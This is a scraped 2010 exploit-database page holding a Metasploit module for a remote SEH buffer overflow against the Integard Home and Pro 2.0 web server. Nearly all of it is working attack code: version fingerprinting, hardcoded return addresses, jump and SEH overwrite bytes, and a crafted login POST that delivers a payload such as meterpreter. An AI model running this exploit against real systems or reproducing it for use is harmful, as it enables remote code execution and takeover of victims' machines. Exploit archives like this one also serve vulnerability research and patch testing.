Home / os / win7

[remote exploits] - Integard Home and Pro v2 Remote HTTP Buf

Posted on 06 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: remote exploits | Exploit author: Lincoln' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================================
Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit
============================================================

class Metasploit3 &lt; Msf::Exploit::Remote
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            &#039;Name&#039;           =&gt; &#039;Integard Home/Pro version 2.0&#039;,
            &#039;Description&#039;    =&gt; %q{
                    Exploit for Integard HTTP Server, vulnerability discovered by Lincoln
            },
            &#039;Author&#039;  =&gt;
                [
                    &#039;Lincoln&#039;,
                    &#039;Nullthreat&#039;,
                    &#039;rick2600&#039;,
                ],
            &#039;License&#039;       =&gt; MSF_LICENSE,
            &#039;Version&#039;       =&gt; &#039;$Revision: $&#039;,
            &#039;References&#039;    =&gt;
                [
                    [&#039;URL&#039;,&#039;http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061&#039;],
                ],
            &#039;DefaultOptions&#039; =&gt;
                {
                    &#039;EXITFUNC&#039; =&gt; &#039;thread&#039;,
                },
            &#039;Payload&#039;        =&gt;
                {
                    &#039;Space&#039;    =&gt; 2000,
                    &#039;BadChars&#039;  =&gt; &quot;x00x20x26x2fx3dx3fx5c&quot;,
                    &#039;StackAdjustment&#039; =&gt; -3500,
                },
            &#039;Platform&#039;       =&gt; &#039;win&#039;,
            &#039;Privileged&#039;     =&gt; false,
            &#039;Targets&#039;        =&gt;
                [
                    [ &#039;Automatic Targeting&#039;,          { &#039;auto&#039; =&gt; true }],
                    [ &#039;Integard Home 2.0.0.9021&#039;, { &#039;Ret&#039; =&gt; 0x0041565E,}],
                    [ &#039;Integard Pro  2.2.0.9026&#039;, { &#039;Ret&#039; =&gt; 0x0040362C,}],
                ],
            &#039;DefaultTarget&#039;  =&gt; 0))
 
        register_options(
            [
                Opt::RPORT(18881)
            ], self.class )
    end
 
    #Current version does not work with bind() type of payloads
    #meterpreter, windows/exec  etc works fine
 
    def exploit
        mytarget = target
        if(target[&#039;auto&#039;])
            mytarget = nil
            print_status(&quot;[*] Automatically detecting the target...&quot;)
            connect
            get = &quot;GET /banner.jpg HTTP/1.1

&quot;
            sock.put(get)
            data = sock.recv(1024)
                if (data =~ /Content-Length: 24584/)
                    print_status(&quot;[!] Found Version - Integard Home&quot;)
                    mytarget = self.targets[1]
                end
                if (data =~ /Content-Length: 23196/)
                    print_status(&quot;[!] Found Version - Integard Pro&quot;)
                    mytarget = self.targets[2]
                end
            sock.close
        end
        connect
        print_status(&quot;[!] Selected Target: #{mytarget.name}&quot;)
        print_status(&quot;[*] Building Buffer&quot;)
        pay = payload.encoded
        junk = rand_text_alpha_upper(3091 - pay.length)
        jmp = &quot;xE9x2BxF8xFFxFF&quot;
        nseh = &quot;xEBxF9x90x90&quot;
        seh = [mytarget.ret].pack(&#039;V&#039;)
        buffer = junk + pay + jmp + nseh + seh
        print_status(&quot;[*] Sending Request&quot;)
        req = &quot;POST /LoginAdmin HTTP/1.1
&quot;
        req &lt;&lt; &quot;Host: 192.168.2.129:18881
&quot;
        req &lt;&lt; &quot;Content-Length: 1074

&quot;
        req &lt;&lt; &quot;Password=&quot; + buffer + &quot;&amp;Redirect=%23%23%23REDIRECT%23%23%23&amp;NoJs=0&amp;LoginButtonName=Login&quot;
        sock.put(req)
        print_status(&quot;[*] Request Sent&quot;)
        sock.close
        handler
    end
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre></body></html>

 

TOP

Malware :

Exploits :